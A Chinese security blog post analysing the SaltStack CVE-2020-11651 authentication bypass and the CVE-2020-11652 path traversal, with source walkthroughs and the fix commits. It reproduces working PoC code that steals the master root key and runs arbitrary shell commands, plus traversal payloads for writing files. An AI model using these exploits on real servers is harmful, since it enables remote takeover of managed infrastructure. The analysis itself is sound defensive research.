文章首发于先知社区
SaltStack是一种基于C/S架构的服务器基础架构集中管理平台,最近披露出存在两个安全漏洞 CVE-2020-11651 权限缺陷、CVE-2020-11652 任意文件读写漏洞,官方公告SALT 3000.2 RELEASE NOTES, 两个CVE漏洞可以造成远程命令执行。Ghost 使用SaltStack管理自身的机器,漏洞披露后被恶意入侵并植入挖矿程序,Ghost的安全公告
Critical vulnerability impacting all services

受影响的version

  • CVE-2020-11651
    • SaltStack Salt before 2019.2.4 and 3000 before 3000.2
  • CVE-2020-11652
    • SaltStack Salt before 2019.2.4 and 3000 before 3000.2

0x00 CVE-2020-11651

官方公告对其描述

1
The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user tokens from the salt master and/or run arbitrary commands on salt minions.

POC

现有已公开POC核心逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
def get_rootkey():
try:
response = clear_channel.send({'cmd':'_prep_auth_info'}, timeout=2)
for i in response:
if isinstance(i,dict) and len(i) == 1:
rootkey = list(i.values())[0]
print("Retrieved root key: " + rootkey)
return rootkey

return False

except:
return False

获取对应的rootkey后续可执行恶意命令达到远程命令执行目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def master_shell(root_key,command):
# This is achieved by using the stolen key to create a "runner" on the master node using the cmdmod module, then the cmd.exec_code function to run some python3 code that shells out.
# There is a cmd.shell function but I wasn't able to get it to accept the "cmd" kwarg parameter for some reason.
# It's also possible to use CVE-2020-11652 to get shell if the master instance is running as root by writing a crontab into a cron directory, or proably some other ways.
# This way is nicer though, and doesn't need the master to be running as root .


msg = {"key":root_key,
"cmd":"runner",
'fun': 'salt.cmd',
"kwarg":{
"fun":"cmd.exec_code",
"lang":"python3",
"code":"import subprocess;subprocess.call('{}',shell=True)".format(command)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}

try:
response = clear_channel.send(msg,timeout=3)
print("Got response for attempting master shell: "+str(response)+ ". Looks promising!")
return True
except:
print("something failed")
return False

poc调用salt packages 分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
->
response = clear_channel.send({'cmd': '_prep_auth_info'}, timeout=2)

/salt/transport/zeromq.py
@salt.ext.tornado.gen.coroutine
def send(self, load, tries=3, timeout=60, raw=False):
'''
Send a request, return a future which will complete when we send the message
'''
if self.crypt == 'clear':
ret = yield self._uncrypted_transfer(load, tries=tries, timeout=timeout)
else:
ret = yield self._crypted_transfer(load, tries=tries, timeout=timeout, raw=raw)
raise salt.ext.tornado.gen.Return(ret)

salt.transport.client.ReqChannel.factory 最后被实例化为AsyncZeroMQReqChannel,而且带有clear参数,即发给master的命令是clear没有AES加密的

SaltStack master端逻辑

SaltStack 逻辑非常复杂,只对涉及漏洞及其利用点的master端工作流程做简单梳理,可以结合SaltStack官方doc梳理

1
提交任务 -> ReqServer(TCP:PORT:4506) -> MWorker -> workers.ipc -> auth -> Publisher -> EventPulisher

根据官方描述 ClearFuncs class 没有正确校验调用的method,即发生在 woker认领任务并发送publish命令处,结合POC在salt packages的调用流程

1
2
3
salt/master.py
class ReqServer(salt.utils.process.SignalHandlingProcess):
def __bind(self):

启动主server及生成相应数量的woker线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
salt/master.py
class MWorker(salt.utils.process.SignalHandlingProcess):
def __bind(self):
"""
Bind to the local port
"""
# using ZMQIOLoop since we *might* need zmq in there
install_zmq()
self.io_loop = ZMQDefaultLoop()
self.io_loop.make_current()
for req_channel in self.req_channels:
req_channel.post_fork(
self._handle_payload, io_loop=self.io_loop
) # TODO: cleaner? Maybe lazily?
try:
self.io_loop.start()
except (KeyboardInterrupt, SystemExit):
# Tornado knows what to do
pass

通过_bind方法来绑定端口并接受请求,建立多进程模型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
salt/master.py
req_channel.post_fork(
self._handle_payload, io_loop=self.io_loop
)

@salt.ext.tornado.gen.coroutine
def _handle_payload(self, payload):
"""
The _handle_payload method is the key method used to figure out what
needs to be done with communication to the server

Example cleartext payload generated for 'salt myminion test.ping':

{'enc': 'clear',
'load': {'arg': [],
'cmd': 'publish',
'fun': 'test.ping',
'jid': '',
'key': 'alsdkjfa.,maljf-==adflkjadflkjalkjadfadflkajdflkj',
'kwargs': {'show_jid': False, 'show_timeout': False},
'ret': '',
'tgt': 'myminion',
'tgt_type': 'glob',
'user': 'root'}}

:param dict payload: The payload route to the appropriate handler
"""
key = payload["enc"]
load = payload["load"]
ret = {"aes": self._handle_aes, "clear": self._handle_clear}[key](load)
raise salt.ext.tornado.gen.Return(ret)

通过post_fork()传入self._handler_payload 任务处理函数,在_handle_payload()方法中可以看由于poc的send 带有'enc': 'clear' 'cmd': '_prep_auth_info',所以调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def _handle_clear(self, load):
"""
Process a cleartext command

:param dict load: Cleartext payload
:return: The result of passing the load to a function in ClearFuncs corresponding to
the command specified in the load's 'cmd' key.
"""
log.trace("Clear payload received with command %s", load["cmd"])
cmd = load["cmd"]
if cmd.startswith("__"):
return False
if self.opts["master_stats"]:
start = time.time()
self.stats[cmd]["runs"] += 1
ret = getattr(self.clear_funcs, cmd)(load), {"fun": "send_clear"}
if self.opts["master_stats"]:
self._post_stats(start, cmd)
return ret

调用_prep_auth_info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def _prep_auth_info(self, clear_load):
sensitive_load_keys = []
key = None
if "token" in clear_load:
auth_type = "token"
err_name = "TokenAuthenticationError"
sensitive_load_keys = ["token"]
elif "eauth" in clear_load:
auth_type = "eauth"
err_name = "EauthAuthenticationError"
sensitive_load_keys = ["username", "password"]
else:
auth_type = "user"
err_name = "UserAuthenticationError"
key = self.key

return auth_type, err_name, key, sensitive_load_keys

返回rootkey

修复代码

commit_id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
method = self.clear_funcs.get_method(cmd)

'''
'enc': 'clear'
'''
class TransportMethods(object):
"""
Expose methods to the transport layer, methods with their names found in
the class attribute 'expose_methods' will be exposed to the transport layer
via 'get_method'.
"""

expose_methods = ()

def get_method(self, name):
"""
Get a method which should be exposed to the transport layer
"""
if name in self.expose_methods:
try:
return getattr(self, name)
except AttributeError:
log.error("Requested method not exposed: %s", name)
else:
log.error("Requested method not exposed: %s", name)

'''
'enc': 'aes'
'''
class AESFuncs(TransportMethods):
"""
Set up functions that are available when the load is encrypted with AES
"""

expose_methods = (
"verify_minion",
"_master_tops",
"_ext_nodes",
"_master_opts",
"_mine_get",
"_mine",
"_mine_delete",
"_mine_flush",
"_file_recv",
"_pillar",
"_minion_event",
"_handle_minion_event",
"_return",
"_syndic_return",
"_minion_runner",
"pub_ret",
"minion_pub",
"minion_publish",
"revoke_auth",
"run_func",
"_serve_file",
"_file_find",
"_file_hash",
"_file_find_and_stat",
"_file_list",
"_file_list_emptydirs",
"_dir_list",
"_symlink_list",
"_file_envs",
)

限制传入的method

0x01 CVE-2020-11652

官方公告对其描述

1
The salt-master process ClearFuncs class allows access to some methods that improperly sanitize paths. These methods allow arbitrary directory access to authenticated users.zu

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
SaltStack Test类
def test_clearfuncs_config(self):
clear_channel = salt.transport.client.ReqChannel.factory(
self.minion_config, crypt="clear"
)

msg = {
"key": self.key,
"cmd": "wheel",
"fun": "config.update_config",
"file_name": "../evil",
"yaml_contents": "win",
}
ret = clear_channel.send(msg, timeout=5)
assert not os.path.exists(
os.path.join(self.conf_dir, "evil.conf")
), "Wrote file via directory traversal"
1
2
3
4
5
6
7
8
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.write',
'path': '../../../../../../../../tmp/salt_CVE_2020_11652',
'data': 'evil',
}
ret = clear_channel.send(msg, timeout=5)

缺陷代码

salt/wheel/file_roots.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def write(data, path, saltenv="base", index=0):
"""
Write the named file, by default the first file found is written, but the
index of the file can be specified to write to a lower priority file root
"""
if saltenv not in __opts__["file_roots"]:
return "Named environment {0} is not present".format(saltenv)
if len(__opts__["file_roots"][saltenv]) <= index:
return "Specified index {0} in environment {1} is not present".format(
index, saltenv
)
if os.path.isabs(path):
return (
"The path passed in {0} is not relative to the environment " "{1}"
).format(path, saltenv)
dest = os.path.join(__opts__["file_roots"][saltenv][index], path)

使用os.path.isabs 判断是否是绝对路径,防止任意路径写入,但是被../绕过

修复代码

commit_id
新增校验函数
salt/utils/verify.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def _realpath(path):
"""
Cross platform realpath method. On Windows when python 3, this method
uses the os.readlink method to resolve any filesystem links. On Windows
when python 2, this method is a no-op. All other platforms and version use
os.path.realpath
"""
if salt.utils.platform.is_darwin():
return _realpath_darwin(path)
elif salt.utils.platform.is_windows():
if salt.ext.six.PY3:
return _realpath_windows(path)
else:
return path
return os.path.realpath(path)

def _realpath_darwin(path):
base = ""
for part in path.split(os.path.sep)[1:]:
if base != "":
if os.path.islink(os.path.sep.join([base, part])):
base = os.readlink(os.path.sep.join([base, part]))
else:
base = os.path.abspath(os.path.sep.join([base, part]))
else:
base = os.path.abspath(os.path.sep.join([base, part]))
return base

0x02 Other-salt packages安装issue

mac python3 -m pip install salt会报错

1
2
3
4
5
ext-date-lib/timelib_structs.h:24:10: fatal error: 'timelib_config.h' file not found
#include "timelib_config.h"
^~~~~~~~~~~~~~~~~~
1 error generated.
error: command 'clang' failed with exit status 1
  • python3 -m pip download timelib
  • 修改timelib的setup.py文件
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    setup(name="timelib",
    version="0.2.4",
    description="parse english textual date descriptions",
    author="Ralf Schmitt",
    author_email="ralf@systemexit.de",
    url="https://github.com/pediapress/timelib/",
    ext_modules=[Extension("timelib", sources=sources,
    libraries=libraries,
    include_dirs=[".", "ext-date-lib"],
    define_macros=[("HAVE_STRING_H", 1)])],
    include_dirs=[".", "ext-date-lib"],
    long_description=open("README.rst").read(),
    license="zlib/php",
    **extra)
  • python3 setup.py build
  • python3 setup.py install
  • 0x03 参考